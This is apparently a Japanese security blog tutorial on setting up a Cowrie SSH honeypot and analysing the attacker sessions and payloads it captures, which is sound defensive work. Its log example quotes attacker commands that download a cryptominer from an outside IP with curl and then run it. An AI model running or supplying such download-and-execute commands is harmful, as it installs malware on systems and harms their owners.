LinuxにおけるCowrie SSHハニーポットの構築:総当たり攻撃とマルウェアペイロードの捕獲

Security tutorial - IT technology blog
Security tutorial - IT technology blog

22番ポートに押し寄せる終わりのないノイズ

DigitalOcean、Hetzner、AWSなどで新規クラウドインスタンスを起動し、22番ポートで通常のSSHを待ち受けさせたまま/var/log/auth.logを監視してみてください。わずか20分足らずで自動スキャナーが押し寄せてきます。外部に公開された一般的なIPアドレスは、24時間あたり3,000〜8,000回ものブルートフォース(総当たり)攻撃を受け、root/admin、test/123456、ubuntu/ubuntuといった認証情報辞書を用いた試行が延々と繰り返されます。

多くのシステム管理者はFail2Banを導入したり、Ed25519公開鍵認証を強制したり、SSHポートを一般的なポート以外に変更したりして対処します。これによってサーバー自体は保護されますが、それらのパケットを単に破棄してしまうと、セキュリティ監視の貴重な情報源を自ら遮断することにもなります。現在活発に使われているパスワードリスト、侵入直後に実行される初期コマンド、新たなマルウェアペイロードをホストしている稼働中のステージングURLといった、生きた脅威インテリジェンス(Threat Intelligence)を捨ててしまっているのです。

Cowrieはこの状況を一変させます。接続を切断・拒否するのではなく、対話型のデコイ(囮)の中に侵入者を誘い込みます。

Cowrieの基本アーキテクチャ

Cowrieは中〜高インタラクションのSSHおよびTelnetハニーポットです。不正なセッションを捕捉し、シェルでの操作を記録して、バイナリペイロードを収集します。最初のコマンド実行後に切断されるような静的なプロンプトではなく、メモリ上にエミュレートされたDebianシステムを直接提供します。

トラップの動作メカニズム

  • エミュレート環境:攻撃者はカスタムポリシーに基づいて認証され、仮想シェルへと誘導されます。ls、cat、wget、unameなどの標準的な診断コマンドは、ホストのファイルシステムに一切触れることなく、リアルなPOSIX出力を返します。
  • セッション記録:Cowrieは、ターミナルのすべてのキーストローク、端末のリサイズシグナル、コマンドパイプラインを構造化されたJSON、およびplaylogと互換性のある再生可能なTTYログとしてシリアライズします。
  • ペイロードの捕捉:侵入されたシェルがcurl -O malware.shやSFTPを介してエクスプロイトを取得しようとすると、Cowrieはネットワークストリームをフックします。リアルタイムでSHA-256ハッシュを計算し、メタデータを記録して、サンドボックス分析用に生のペイロードを隔離フォルダに保存します。

ポートリダイレクトの設計

ハニーポットソフトウェアをroot権限で実行してはなりません。本来の管理用OpenSSHデーモンを2222などの別ポートへ移行します。その上で、Cowrieを非特権ポートの2223で安全にバインドさせます。カーネルレベルのiptables preroutingルールを使用し、受信するすべての22番ポート宛てトラフィックを直接2223番ポートへとリダイレクトします。

実践デプロイ:ステップバイステップの手順

1. 本番OpenSSHポートの変更

まず、管理アクセスの安全を確保します。/etc/ssh/sshd_configを編集します。

# /etc/ssh/sshd_config
Port 2222
PermitRootLogin no
PasswordAuthentication no

管理エンドポイントのセキュリティを強化する前に、堅牢な帯域外パスワードを生成しておきましょう。toolcraft.app/ja/tools/security/password-generatorなどのブラウザベースのパスワードジェネレーターツールは、クライアントサイドのJavaScriptを介してローカルで高エントロピーな文字列を生成します。データがブラウザ外部に送信されないため、リカバリ用の認証情報がネットワーク盗聴にさらされる心配がありません。次に、デーモンをリロードします。

sudo systemctl restart sshd

セッションを切断する前に、別のターミナルからポート2222で接続できることを必ず確認してください。そのハンドシェイクが成功するまで、作業中のシェルは絶対に閉じないでください。

2. 依存関係のインストールと専用ユーザーの作成

実行環境を分離するため、専用のcowrieユーザーを作成します。必要なPython依存関係とシステムビルドツールをインストールします。

sudo apt update && sudo apt install -y git python3-venv python3-pip libssl-dev libffi-dev build-essential iptables-persistent
sudo adduser --disabled-password --gecos "" cowrie
sudo su - cowrie

3. Cowrieのインストールと設定

ハニーポットのホームディレクトリにソースコードをクローンし、分離された仮想環境を初期化します。

git clone https://github.com/cowrie/cowrie.git
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

アップストリームの設定をクリーンな状態に保つため、etc/cowrie.cfgでオーバーライドを設定します。

cat << 'EOF' > etc/cowrie.cfg
[honeypot]
hostname = srv-prod-db01
log_path = var/log/cowrie
download_path = var/lib/cowrie/downloads
auth_class = UserDB

[ssh]
enabled = true
listen_endpoints = tcp:2223:interface=0.0.0.0
version = SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1

[output_jsonlog]
enabled = true
logfile = var/log/cowrie/cowrie.json
EOF

hostname = srv-prod-db01と設定することで、自動化された偵察スクリプトにデータベースサーバーへ侵入したと錯覚させます。OpenSSHのバナーストリングをUbuntu 22.04 LTSのものと一致させることで、リアリティを高めます。

4. 認証トラップの定義

Cowrieはusername:group:passwordの形式でetc/userdb.txtを解析します。認証動作を直接定義します。

cat << 'EOF' > etc/userdb.txt
# rootは任意のパスワードを許可し、即座にシェル操作者をトラップする
root:*:*
# よくあるデフォルト認証情報のスキャンに合致させる
admin:*:admin123
ubuntu:*:ubuntu
# ログイン失敗のテレメトリを収集するためデータベースのサービスアカウントは拒否する
postgres:x:*
EOF

5. 22番ポートのトラフィック転送

cowrieユーザーのセッションを抜け、NATリダイレクトルールを追加します。

exit
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2223
sudo netfilter-persistent save

6. SystemdによるCowrieのサービス化

ホストの再起動やクラッシュ後も確実に自動復旧するよう、systemdでサービスを管理します。以下のユニットファイルを/etc/systemd/system/cowrie.serviceとして保存します。

[Unit]
Description=Cowrie SSH Honeypot
After=network.target

[Service]
Type=forking
User=cowrie
WorkingDirectory=/home/cowrie/cowrie
ExecStart=/home/cowrie/cowrie/bin/cowrie start
ExecStop=/home/cowrie/cowrie/bin/cowrie stop
Restart=on-failure

[Install]
WantedBy=multi-user.target

ユニットを登録し、デーモンを起動します。

sudo systemctl daemon-reload
sudo systemctl enable --now cowrie
sudo systemctl status cowrie

実践分析:侵入者とペイロードの調査

JSONテレメトリの解析

リアルタイムのセッションイベントは/home/cowrie/cowrie/var/log/cowrie/cowrie.jsonに出力されます。jqを使用して特定のシェルコマンドを抽出します。

tail -f /home/cowrie/cowrie/var/log/cowrie/cowrie.json | jq -r 'select(.eventid=="cowrie.command.input") | "[\(.timestamp)] [\(.src_ip)] \(.input)"'

実際のログでは、ハードウェア情報の探索に続いて、ボットネットのドロッパー取得が即座に行われる様子が確認できます。

[2026-11-06T11:42:01Z] [198.51.100.42] uname -a; lscpu; cat /proc/cpuinfo
[2026-11-06T11:42:03Z] [198.51.100.42] curl -s http://103.203.45.12/x86_miner -o /tmp/x86_miner
[2026-11-06T11:42:04Z] [198.51.100.42] chmod +x /tmp/x86_miner && /tmp/x86_miner &

捕捉したファイルの調査

侵入者がエクスプロイトをダウンロードしようとすると、Cowrieはそのバイナリを実行することなく、SHA-256ハッシュ値をファイル名としてvar/lib/cowrie/downloads/に隔離保存します。

ls -la /home/cowrie/cowrie/var/lib/cowrie/downloads/
sha256sum /home/cowrie/cowrie/var/lib/cowrie/downloads/*

これらのハッシュ値をVirusTotalで照合したり、ローカルのMISPサーバーに問い合わせたりすることで、活動中のMirai亜種や自動化されたXMRigマイナー、侵害されたC2(Command and Control)サーバーのIPアドレスを頻繁に特定できます。

端末セッション全体の再生

Cowrieは生の端末セッションをvar/lib/cowrie/tty/配下に保存します。攻撃者のキーストローク、バックスペース、実行タイミングをそのまま再現できます。

/home/cowrie/cowrie/bin/playlog /home/cowrie/cowrie/var/lib/cowrie/tty/<session_id>

本番運用におけるセキュリティ強化のポイント

  • 厳格なネットワーク分離:Cowrieは専用の隔離用VPCまたは分離されたDMZサブネットで運用してください。外部宛てファイアウォール(egress)ルールを設定し、内部リソース(RFC 1918サブネットなど)へのアウトバウンドルーティングを遮断します。
  • 外部への不正中継を阻止:ボットネットは侵害したホストを踏み台にして水平展開を試みます。自身のアドレスが不正利用として通報されるのを防ぐため、Cowrieのアウトバウンドプロキシ機能は無効のままにしてください。
  • ダウンロードファイルの自動クリーンアップ:大規模な攻撃を受けると、毎日数百メガバイト規模のバイナリのゴミが蓄積されます。夜間にcronジョブを実行し、14日以上経過したファイルをアーカイブして読み取り専用ストレージに退避させ、不要になったローカルディスク領域を定期的に解放しましょう。
Share: